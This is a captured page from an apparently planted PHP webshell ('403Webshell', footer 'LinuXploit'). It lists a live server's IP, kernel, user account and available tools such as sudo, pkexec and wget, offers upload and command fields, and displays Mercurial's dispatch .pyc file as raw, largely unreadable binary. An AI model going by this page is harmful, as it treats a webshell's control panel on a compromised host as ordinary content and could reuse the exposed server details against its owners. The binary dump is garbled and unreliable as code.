403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/dispatch.cpython-39.pyc
a

�+�bŸ�@s�ddlmZmZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlm
Z
ddlmZddlmZddlmZmZmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z#m$Z$m%Z&m'Z'm(Z(ddl)m*Z*m+Z+m,Z,Gd	d
�d
e-�Z.dd�Z/d
d�Z0ej1�r&dd�Z2dd�Z3ndd�Z2dd�Z3dd�Z4dd�Z5dd�Z6dd�Z7dd�Z8dd �Z9d!d"�Z:Gd#d$�d$e-�Z;Gd%d&�d&e-�Z<d'd(�Z=d)d*�Z>d+d,�Z?d-d.�Z@d/d0�ZAd1d2�ZBd3d4�ZCdAd5d6�ZDd7d8�ZEd9d:�ZFd;d<�ZGd=d>�ZHd?d@�ZIdS)B�)�absolute_import�print_functionN�)�_)�getattr)�tracing)�cmdutil�color�commands�demandimport�encoding�error�
extensions�	fancyopts�help�hg�hook�	localrepo�	profiling�pycompat�rcutil�	registrar�requirements�scmutil�ui�util�vfs)�procutil�
stringutil�urlutilc@seZdZddd�Zdd�ZdS)�requestNc		CsD||_||_||_||_||_||_||_i|_|p6g|_d|_	dS�N)
�argsr�repo�fin�fout�ferr�fmsg�earlyoptions�
prereposetups�canonical_command)	�selfr"rr#r$r%r&r'r)�r,�8/usr/lib64/python3.9/site-packages/mercurial/dispatch.py�__init__:s
zrequest.__init__cCs�d}|jj}zr|rp|��\}}}z||i|��Wq|durNt��d}|j�d�|jjdd�Yq0qW|dur�|�n|dur�|�0dS)Nrserror in exit handlers:
T)�force)rZ
_exithandlers�pop�sys�exc_infoZ
warnnoi18n�	traceback)r+�exc�handlers�funcr"�kwargsr,r,r-�_runexithandlersZs �zrequest._runexithandlers)NNNNNNN)�__name__�
__module__�__qualname__r.r8r,r,r,r-r 9s�
 r c
Cs�d}t�|d�rf|dusJ�|jdus*J�z|j��Wn,tyd}z|}d}WYd}~n
d}~00t�|d�r�|dus~J�|jdus�J�z:|dur�|jtjkr�|j�dt	�
|j��|j��Wnty�d}Yn0|S)Nsfout���sferrs
abort: %s
)r�safehasattrr%�flush�IOErrorr&�errno�EPIPE�writer�
strtolocal�strerror)r�err�status�er,r,r-�_flushstdiols*�
rHcCs~zTt�t�d��"ttjdd��}Wd�n1s:0Yt|�}t�Wntyjd}Yn0t	�
|d@�dS)zrun the command in sys.argvzparse args into requestrNr<�)�	initstdior�logr rZsysargv�dispatch�
_silencestdio�KeyboardInterruptr1�exit)�reqrFr,r,r-�run�s0

rQcCs�tjdurVdtjjd�}t�tjd�r2tjj|d<tjtjjtjj	tjj
fi|��t_tjdur�dtjjd�}t�tjd�r�tjj|d<tjtjjtjj	tjj
fi|��t_tjdur�tjtjjtjj	tjj
dtjjd�t_dS)N�
)�newline�line_buffering�
write_through)
r1�stdoutrTrr=rU�io�
TextIOWrapper�bufferr�errors�stderr�stdin)r7r,r,r-rJ�sD
���
���
�rJc	CsdtjtjfD]R}|durqz|��WqWnty<Yn0z|��Wqty\Yq0qdSr!)r1rVr[r>r?�close��fpr,r,r-rM�srMcCs$tjtjtjfD]}t�|�qdSr!)r1r\rVr[rZ	setbinaryr^r,r,r-rJ�scCsdSr!r,r,r,r,r-rM�scCsd�dd�|D��S)N� css|]}t�|�VqdSr!�r�
shellquote)�.0�ar,r,r-�	<genexpr>��z_formatargs.<locals>.<genexpr>)�join�r"r,r,r-�_formatargs�sric
Cs\d}zt|�}Wn.tjy>}z|}d}WYd}~n
d}~00t|j|�}|rX|sX|}|S)zErun the command specified in req.args; returns an integer status codeNr<)�_rundispatchr
Z
StdioErrorrHr)rPrErFrG�retr,r,r-rL�srLc	Cs�t�d���||jr|j}n|jr,|jj}ntj}z�|jsFtj��|_|j�	t
|j|j��|jdrx|j�dddd�|j
r�|j
|j_
|jr�|j|j_|jr�|j|j_|jr�|j|j_WnDtj�y�}z(|�|���WYd}~Wd�dSd}~00t|j�}t��}d}�z�zt|��p(d}W�ntj�y�}z@|j�td	�|�|j�rt|j�td
�|j��WYd}~n�d}~0t�y.}z�z0t|tj��r�td�}ntd�}|j�|�WnJtj�y�Yn6t�y}z|jtj k�r�WYd}~n
d}~00d}WYd}~n
d}~00Wt��|}|j�!�|jj"�r~|d
|jj#d<|jjdit$�%|jj#���|d@}|jjdd||||||j&d�z|�'�Wn|�p�d}Yn0|j�!�n�t��|}|j�!�|jj"�r |d
|jj#d<|jjdit$�%|jj#���|d@}|jjdd||||||j&d�z|�'�Wn|�pbd}Yn0|j�!�0|Wd�S1�s�0YdS)Nzdispatch._rundispatch�	traceback�ui�on�--tracebackr<rrs** ProgrammingError: %s
s** (%s)
skilled!
s
interrupted!
i�scommand_duration�	uiblocked�ui blocked ms
rIs
commandfinishs!%s exited %d after %0.2f seconds
)�return_code�durationr*)rprq)rprq)(rrKr&rrr[�uimod�loadr(�update�_earlyparseoptsr"�	setconfigr$r%r'r
�AbortrB�formatrir�timer�	_runcatchZProgrammingErrorr�hintrN�
isinstance�SignalInterruptr?r@rAr>ZlogblockedtimesZ
_blockedtimesr�	strkwargsr*r8)	rPr&�instZ
formattedargsZ	starttimerk�msgrsrrr,r,r-rjs�




$



���
�

���
rjc	s�t�d��tdd�}�j�z*dD] }tt|d�}|r t�||�q WntyVYn0��fdd�}t�|�Wd�S1s�0YdS)Nzdispatch._runcatchcWs
tj�dSr!)r
rrhr,r,r-�	catchterm\sz_runcatch.<locals>.catchterm)sSIGBREAKsSIGHUPsSIGTERMc
s�d}zBt��jdd�tji�}|d}t�|tjd�\}}|d}Wn tjtj	t
tjfyfYn0|dkr�d|vr�t
�j�dks��jddks��jd�d�s��jd	dks��jd
dkr�t�td�t��j�f���z�d}dtji}dtji}t�j�jd
�}�j�r:|D]"\}	}
}�jjj|	|
|dd��q��dd�}t}|�rZ����r`d}nX�jd�r�t���2zt|�}Wnt �y�Yn0Wd�n1�s�0Y|j||<|j||<�jd�rH��!td��|dk�r|||dk�r��!td�|�t���||�Wd�n1�s>0Yzt"��W��#�WS��#�0Wn6�jd�r�t$�%�||t&�'�d	��Yn0dS)NrFsserves--stdio�s-Rr�--��s/potentially unsafe serve --stdio invocation: %sspdb�config�--config)�sourcerm�debuggersAentering debugger - type c to continue starting hg or h for help
s3%s debugger specified but its module was not found
)(rr"r
�
globaloptsr�findcmd�tabler
�UnknownCommand�AmbiguousCommand�
IndexError�getopt�GetoptError�len�
startswithryrrZpprint�pdbZ	set_traceZpost_mortem�_parseconfigrr(r#rx�config�plainrZdeactivated�
__import__�ImportError�warn�	_dispatchr>r3�	print_excr1r2)
ZrealcmdZcmdargs�cmd�aliases�entryZdebuggerZ
debugtraceZdebugmortemZcfgsZsec�name�valZdebugmod�rPrr,r-�
_runcatchfunchs���


�������

�

&

�������
*�z _runcatch.<locals>._runcatchfunc)rrKrr�signal�
ValueError�
_callcatch)rPr�r��numr�r,r�r-r|Ysnr|c	Cs2d}zt�||�WStjy^}z2d}|�td�|jd�|j�f�WYd}~�n�d}~0tj	y�}z~d}|j
r�|�d�t�
|j�}|�td�|j
|f�tj||j
dd	d
�n"|�td�|j�|�td��WYd}~�n,d}~0tj�y�}z�d}td
�|j
}z,tj|t|j
d	d�}|�|�|�|�Wn~tjtjf�y�d}|j�r�t�|j|j
�}|�r�|�|�|�dt�|��d	}|�s�|�|�|�td��Yn0WYd}~nHd}~0t�y��Yn,t�y�Ynt|��s�Yn0|�dd��r*|SdSdS)z�like scmutil.callcatch but handles more high-level exceptions about
    config parsing and commands. besides, use handlecommandexception to handle
    uncaught exceptions.
    r<�
s&hg: command '%s' is ambiguous:
    %s
r`N�helps
hg %s: %s
FT)Zfull�commandshg: %s
s0(use 'hg help -v' for a list of global options)
shg: unknown command '%s'
)�
unknowncmds(%s)
s'(use 'hg help' for a list of commands)
rmsdetailed-exit-code)rZ	callcatchr
r�r�r�prefixrg�matches�CommandErrorr��pagerr�bytestr�messager
�help_r�rZ
formattedhelprBryZall_commandsZ
getsimilarZsimilarity_hintr?rN�handlecommandexception�
configbool)	rr6Zdetailed_exit_coder�ZmsgbytesZnocmdmsg�	formattedZ	suggestedZsimr,r,r-r��sb��
$
�


(
r�cszg}t�|d�st|d|�}|rrd�ttj|��}g���fdd�}t�d||�}�fdd�t	��D��t
�|�}|�S)	Ns	_origfuncr"r`csBt|�d��d}��|�|t��kr0�|St�td���dS)Nrs#too few arguments for command alias)�int�group�appendr�r
�
InputErrorr)�mr���	givenargs�numsr,r-�replacers

zaliasargs.<locals>.replacer�
\$(\d+|\$)csg|]\}}|�vr|�qSr,r,)rc�i�x)r�r,r-�
<listcomp>'rfzaliasargs.<locals>.<listcomp>)rr=rrg�maprrb�re�sub�	enumerater�
shlexsplit)�fnr�r"r�r�r,r�r-�	aliasargss
r�cs|dd�t|�D��|�d<d�d<d�|��d<d�dd	�|D���d
<d������dd�}t�|�}|��fd
d�|�S)zXinterpolate args into cmd for shell aliases

    This also handles $0, $@ and "$@".
    cSsi|]\}}d|d|�qS)s$%drr,)rcr��argr,r,r-�
<dictcomp>3rfz$aliasinterpolate.<locals>.<dictcomp>s$0�$s$$r`s$@css|]}t�|�VqdSr!ra)rcr�r,r,r-re;rfz#aliasinterpolate.<locals>.<genexpr>s"$@"�|s\$cs�|��Sr!)r�)r��Z
replacemapr,r-�<lambda>?rfz"aliasinterpolate.<locals>.<lambda>)r�rg�keys�replacer��compiler�)r�r"r�Zregex�rr,r�r-�aliasinterpolate,s
r�c@s:eZdZdd�Zddd�Zedd��Zdd	�Zd
d�ZdS)
�cmdaliasc
sl|�_�_d�_|�_d�_g�_g�_d�_d�_d�_	|�_
zBt��j|�\}}t
�|�D]\}}	|	|ur`|�_q|q`d�_Wntjy�d�_Yn0�js�td��j�_dS�j�d��r�jdd��d�_��fdd�}
|
�_d�_��||��j�dSzt
��j�}WnBt�y^}z(td	��jt�|�f�_WYd}~dSd}~00t|�\}
}|
�r�td
��jd�t
j|
�d�f�_dS|�d��_}|�_z^t�||d�d}t|�d
k�r�|\�_�_}n|\�_�_d}d�_��|||�j|�WnXtj�y>td��j|f�_d�_	Yn*tj �yftd��j|f�_Yn0dS)NrfFTsno definition for alias '%s'�!rcsXdd��jf��i}���fdd�}t�d|��}t�j�|�}�j||d�jd�S)NsHG_ARGSr`cs`|��ddkr|��St|��d�t��kr8|��S��dt|��d��jf�dSdS)Nrr�sLNo argument found for substitution of %i variable in alias '%s' definition.
rf)�groupsr�r�r��debugr�)r�)r"r+rr,r-�	_checkvards��z0cmdalias.__init__.<locals>.fn.<locals>._checkvarr�salias_%s)�environZ
blockedtag)rgr�r�r�r��system)rr"�envr�r��r+Zshdef)r"rr-r�as
�zcmdalias.__init__.<locals>.fns&error in definition for alias '%s': %ssLerror in definition for alias '%s': %s may only be given on the command line�/rr�s+alias '%s' resolves to unknown command '%s's-alias '%s' resolves to ambiguous command '%s')!r�r��cmdname�
definitionr�r��optsr�badaliasr�r�rr�rZ	iteritems�shadowsr
r�rr��shell�alias�
_populatehelpr�r�r�forcebytestr�_earlysplitoptsrgZziplistr0r�r�)r+rr�r��cmdtabler�r�r�r�rGr�r"r�Z	earlyoptsr�Z
tableentryZcmdhelpr,r�r-r.Cs�
������
���zcmdalias.__init__Nc
Cs�i}dD]N}|�dd||fd�}|dur,qt�|�sNtd�||f|_dS|||<q|�d|pdd�|_|jr�|j�d|�r�|jdt|�d�|_d	|v|_	|�d	t
�|��}	|	dur�t
�|	�}	|	|_
|�d
tjj�|_dS)N)�docr��category�aliass%s:%ss/non-ASCII character in alias definition '%s:%s'r�rfshg r�r�r�)r�rZ
isasciistrrr��getrr�r�ZowndocrZgetdocZsysstr�__doc__rr�Z
CATEGORY_NONEZhelpcategory)
r+rr�r�r�Zdefaulthelp�cfg�k�v�docr,r,r-r��s0
��


�zcmdalias._populatehelpcCst�tj|j�}t|j|�Sr!)r�maplistr�
expandpathr�r�r�)r+r"r,r,r-r"�sz
cmdalias.argscCsFdt�ddd�}||vr t|��|js2t�|d�r:||St|j|�S)NTF)�norepo�intents�optionalrepo�	inferrepo�shell)�set�AttributeErrorr�rr=rr�)r+r�Z	adefaultsr,r,r-�__getattr__�s�zcmdalias.__getattr__cOs|jrdd}|jrTz.t�||j�dd�\}}td�||f}WntjyRYn0tj|j|d��|j	r�|�
d|j|jf�|�dd|j|j
�t�|d�r�|j|g|�Ri|��Sz t�|j�|g|�Ri|��WStj�yd�|jg|j�}|�
d|j|f��Yn0dS)	Nr�s"'%s' is provided by '%s' extension)r}s alias '%s' shadows command '%s'
scommandaliassalias '%s' expands to '%s'
r�r`)r�r�rZdisabledcmdr�rr
r�ZConfigErrorr�r�r�rKr�rr=r��checksignature�SignatureErrorrgr")r+rr"r�r}r��extr,r,r-�__call__�s6�� zcmdalias.__call__)N)	r9r:r;r.r��propertyr"r�rr,r,r,r-r�Bsf


r�c@s>eZdZdZdd�Zejdd��Zdd�Zdd	�Z	d
d�Z
dS)
�lazyaliasentryz<like a typical command entry (func, opts, help), but is lazycCs,||_||_||_|��|_||_d|_dS)NT)rr�r��copyr�r�r�)r+rr�r�r�r�r,r,r-r.�s
zlazyaliasentry.__init__cCst|j|j|j|j|j�Sr!)r�rr�r�r�r��r+r,r,r-�	_aliasdefs�zlazyaliasentry._aliasdefcCs6|j}|dkr|S|dkr |jS|dkr.|jSt�dS)Nrrr�)rr�rr�)r+�nZaliasdefr,r,r-�__getitem__
szlazyaliasentry.__getitem__ccstd�D]}||VqdS�Nr�)�range)r+r�r,r,r-�__iter__szlazyaliasentry.__iter__cCsdSr
r,rr,r,r-�__len__szlazyaliasentry.__len__N)r9r:r;r�r.rZ
propertycacherr	rr
r,r,r,r-r�s
rc
Csn|jddd�D]Z\}}z||j|kr*WqWnttfyBYn0|�d|�}t|||||�}|||<qdS)Nr�T)Z	ignoresub)Zconfigitemsr��KeyErrorr�Zconfigsourcer)rr�r�r�r�r�r,r,r-�
addaliasessrc
Cs�i}i}zt�|tj|�}Wn8tjyT}zt�dt�|���WYd}~n
d}~00|r�|d|dd�}}t	�
|tj|�dd��\}}|d}t
|d|�}|�d|�}|r�t�tjt�|��|}t|d�}	nd}g}	tjD]*}
|	�|
d|
d||
d|
df�q�ztj||	|dd�}Wn:tj�yb}zt�|t�|���WYd}~n
d}~00tjD] }
|
d}||||<||=�qj||�r�|d�p�d|||fS)	Nrrrm�strictsdefaultsr�T)�gnu)rr
r�r�r�r
r�rr�rr�r�r�r�r�rr�rr�r��listr�)rr"�options�
cmdoptionsr�r�r�r��defaults�c�orr,r,r-�_parse.sB(���
((

rc
Cs�g}|D]�}zZdd�|�dd�D�\}}|�dd�\}}|r@|sDt�|�|||d�|�|||f�Wqttfy�t�td�t�	|���Yq0q|S)z0parse the --config options from the command linecSsg|]}|���qSr,)�strip)rcZcfgelemr,r,r-r�arfz _parseconfig.<locals>.<listcomp>�=r�.r�s?malformed --config option: %r (use --config section.name=value))
�splitr�rxr�r�r
r�rrr�)rr�Zconfigsr�r��value�sectionr,r,r-r�[s$���r�cCs.i}tj|tj||�d�dddgid�|S)NsstrictflagsT�
repository�repo)rZearlyZ
optaliases)rr
r�r�)rr"rr,r,r-rwss
�rwcCs d}gd�}tj|||ddd�S)zCSplit args into a list of possible early options and remainder argssR:)scwd=srepository=srepo=sconfig=T)rZkeepsep)rZearlygetopt)r"ZshortoptionsZlongoptionsr,r,r-r��s

�r�c	
Cs�tj||d|dd�|�||d�z6t||||�}	tj||d|dd�|�|	||d�Wn6ty�tj||d|dd�|�||d��Yn0|	S)	Nspre-%sTr`)r"�patsr�spost-%sF)r"�resultr!r�sfail-%s)rrg�_runcommand�	Exception)
�luir#r��fullargsrr�d�cmdpatsrrkr,r,r-�
runcommand�sB�	�

�	r)cCs�z�ttj�|dd�d��~}t|�����}tj|vr>tj	|vsPWd�WdSt
�
tj�|d��}t�||�}|j
}|�|�d�|�Wd�n1s�0YWnty�Yn0dS)a!if the current repository is shared one, this tries to read
    .hg/hgrc of shared source if we are in share-safe mode

    Config read is loaded into the ui object passed

    This should be called before reading .hg/hgrc or the main repo
    as that overrides config set in shared source�.hgsrequires�rbN�hgrc)�open�os�pathrgr��read�
splitlines�requirementsmodZSHARESAFE_REQUIREMENTZSHARED_REQUIREMENTrrZ
_getsharedvfs�base�
readconfigr?)rr/r_rZhgvfsZ	sharedvfs�rootr,r,r-�_readsharedsourceconfig�s��4r6c
Cs |durTzt��}Wn>tyR}z&t�td�t�|j���WYd}~n
d}~00t�	|�p`d}|sl|}nJ|�
�}t��r�t
||�|�tj�|dd�|�|�tj�|dd�|�|�rt�||�d}|�
�}t���rt
||�|�tj�|dd�|�|�tj�|dd�|�||fS)zpReturn (path, local ui object) for the given target path.

    Takes paths in [cwd]/.hg/hgrc into account."
    Ns+error getting current working directory: %srfr*r,shgrc-not-sharedr)r�getcwd�OSErrorr
ryrrCrDr�findreporrZ
use_repo_hgrcr6r4r.r/rgrZget_clone_path)r�rpathZwdrGr/r%r,r,r-�	_getlocal�s2
��


r;c	s�i�zt��tj���Wntjy.YdS0�s8dStj}�d�z"��dd�}t��||�\}}Wnt	j
t	jfy�YdS0|d�|d��r�t�
�d�r�t��\}����fdd��������fdd�SdS)	z=Return the function to run the shell alias, if it is requiredNrrmrr�cs��g�dd��R�S�Nrr,r,)r"r�rr,r-r�rfz"_checkshellalias.<locals>.<lambda>c
s t�d��dd����gi�	Sr<)r)r,)r"r�r'r%rrr,r-r�s�)rr
r�r�r�r�r�rr�r
r�r�rr=r�)r%rr"r��strictr�r�Z
_earlyoptsr,)r"r�r'r�r%rrr-�_checkshellalias�s(r>cs|j�|j�|jd}|r$t�|�|jd}t�|�\}}�|h}|jrX|�|jj�|jdsv|jdsv|jdr�dD]6}t�	t
|j|��}|D]}|�d||d|�q�qz|jd	r�|D]}|�d
ddd
�q�n.|jd	du�r|�d
d��r|�d
ddd�|�d
d�}	t
j||	d����}
t�|�|j�_t|tj�t|���}|�r~|D]}t�|��qX|�Wd�S|�dd�}|�r�|t_�}
t|��\}��}}||_|d|jdk�r�t�td���|d|jdk�r�t�td���|d|jdk�rt�td���|d|jdk�r<t�td���|d�rP|dt_|d�rd|dt_|d�r�dd��������fdd�}�� |�|d	�r�|
�!�|d�s�|d�s�|d�rdD]P}|||j|k�r�q�t�	t
||��}|D]}|�d||d|��q��q�|d �rB|D]}|�dd d!d"��q*|d#�rh|D]}|�dd$d%d&��qP|�"d'd��r�|D]}d(|_#�qz|d)}|D]&}|�r�|�dd)|d*�t$�%|��q�t&�'|d+��r܈�(d,|�n"|d+d-k�r�|D]}|�)��q�|D]}t�|��q|d.�r6t�*��Wd�S|d/�rbtj+�||dud0�Wd�S|�s�t�+�d1�Wd�Sd}�dd�}�du�s�J��j,�s4|�s�|�s�|j}|�r�j-|j_-�j.|j_.�j/|j_/�j0|j_0�nzJt1j2�||j3�j4d2�}|�5��s t�td3�|��|j�d4d5|j6d6�Wn�tj7�yN�Yn�tj8�y|�rf��j9�s�j:�r��r�|�s�t�;t<j=��}|d7}|�r�|�>|�t?|�k�r�d8|g|
|_||jd<t@|�YWd�S|�st�td9�t�A����Yn0|�r&|j�|d:�r&|�B�}��Cd7|�n|�rH��Dtd;��tE|
�}��Fd<d=|�t�G|������fd>d?�}zDtH||||
�||||�	W|�r�||jk�r�|�I�Wd�Sn|�r�||jk�r�|�I�0Wd�n1�s�0YdS)@Nscwdr�verbose�debug�quiet)r?r@rArmr�sprofiles	profilingsenabledstrues	--profileFsfalses--no-profile)Zenabledsfallbackencodingr�s&option --config may not be abbreviateds#option --cwd may not be abbreviatedsroption -R has to be separated from other options (e.g. not -qR) and --repository may only be abbreviated as --repor�s(option --debugger may not be abbreviatedsencodingsencodingmodestimecSs:t��}|ddkr6|d|d|d|dt��f}|S)Nr�grrr�r�)r.�timesrr{��tr,r,r-�	get_timesos"z_dispatch.<locals>.get_timesc
sb��}��td�|d�d|d�d|d�d|d�d|d�df�dS)Ns4time: real %.3f secs (user %.3f+%.3f sys %.3f+%.3f)
r�rr�rr�)r�rrC)rE�srr,r-�
print_timexs���z_dispatch.<locals>.print_timerlrnrosnoninteractivesinteractivesoffs-ysinsecureTscolors--colorspagersinternal-always-sautosversionr�)r�s	shortlist)r/Z
presetupfuncsr�srepository '%s' is not localsbundlesmainreporootr rs--repositorys+no repository found in '%s' (.hg not found)shiddenswarning: --repository ignored
scommands%s
cst����g��Ri���Sr!)rr�r,)r"r6�	strcmdoptrr,r-r��rfz_dispatch.<locals>.<lambda>)Jr"rr(r.�chdirr;r#�addrr��boolrxr�r�profilerZloadall�	__class__rr
r�r>Z
populateuir�rZfallbackencodingrr*r
r�rZencodingmode�atexit�startr�Zinsecureconnectionsr	ZsetuprZ	parseboolr�ZdisablepagerZversion_r�r�r$r%r&r'rZ
repositoryr)r��localr5ZRequirementErrorZ	RepoErrorr�r�r�rr9�countr�r�r7Z
unfiltered�insertr�rirKr�r)r])rP�cwdr:r/r%Zuis�optr�Zui_rLZprofilerZshellaliasfn�fallbackr&r�rrrGZcoloroptr#r(ZreposZguessr�r'r,)r"r6rErFrHrr-r�
sT


���

���











"


�

�
�
���

���r�cCsdz:t�d|��|�Wd�WS1s.0YWn$tjy^t�|td���Yn0dS)z8Run a command function, possibly with profiling enabled.zRunning %s commandNsinvalid arguments)rrKr
rr�r)rrr�Zcmdfuncr,r,r-r#s
*r#c	s�tjdd��d�ddf}|�dd�dur�t��D]�\}}t�t|dd��}t�|�}t|dtd	��}|�	�s||d
||f}q�t�
|�r�q0dd�|��D�}�|vr�q0�fd
d�|D�}t|p�|�}	|ddus�|	|dkr0||	||f}q0|ddu�rR|\}}}}t
|ttf��s&d�dd�|D��}|�p2td�}
td�||
||t�|�f}n.|�dd�}|du�rptd�}td�|d}t�tj��dd�}
dd��|td�|
td�t��td�d��fdd�tt���D��7}|S)z:Produce a warning message for the current active exceptionr�)rNrfrmssupportcontact�
testedwithZbuglinksthe extension author.sunknowncSsg|]}t�|d��qS)r�)r�versiontuple�rcrDr,r,r-r�(rfz%_exceptionwarning.<locals>.<listcomp>csg|]}|�kr|�qSr,r,rX)�ctr,r-r�,rfrrrcSsg|]}t�|��qSr,)rr�)rcrr,r,r-r�4rfs
(version N/A)s�** Unknown exception encountered with possibly-broken third-party extension "%s" %s
** which supports versions %s of Mercurial.
** Please disable "%s" and try your action again.
** If that fixes the bug please report it to %s
s)https://mercurial-scm.org/wiki/BugTrackers?** unknown exception encountered, please report by visiting
** �
cSs*|d}t�|d�}|r&|d|7}|S)Nrrr`)r�
moduleversion)r�rZverr,r,r-�ext_with_verLs
z'_exceptionwarning.<locals>.ext_with_vers
** Python %s
s*** Mercurial Distributed SCM (version %s)
s** Extensions loaded: %s
s, csg|]}�|��qSr,r,)rcr�)r\r,r-r�Yrf)rrWr�rrr�rr[rrZismoduleinternalr�maxr~�bytes�strrgr�sysbytesr1�versionr��sorted)rZworstr��modrVra�reportZtested�lowerZnearestZextver�warningZ
bugtrackerZ
sysversionr,)rYr\r-�_exceptionwarning
st

�

���
����
�����
rgc	Cs0t|�}|�dd|t�t����|�|�dS)z�Produce a warning message for broken commands

    Called when handling an exception; the exception is reraised if
    this function returns False, ignored otherwise.
    scommandexceptions%s
%s
F)rgrKrr`r3�
format_excr�)rrfr,r,r-r�`s�
r�)N)JZ
__future__rrr@r�rWr.r�r�r�r1r3Zi18nrrrZhgdemandimportr�rr	r
rrr
rrrrrrrrrrr2rrrtrrZutilsrrr�objectr rHrQZispy3rJrMrirLrjr|r�r�r�r�rrrr�rwr�r)r6r;r>r�r#rgr�r,r,r,r-�<module>s^\3;
T<8$-

'
#!u	V

Youez - 2016 - github.com/yon3zu
LinuXploit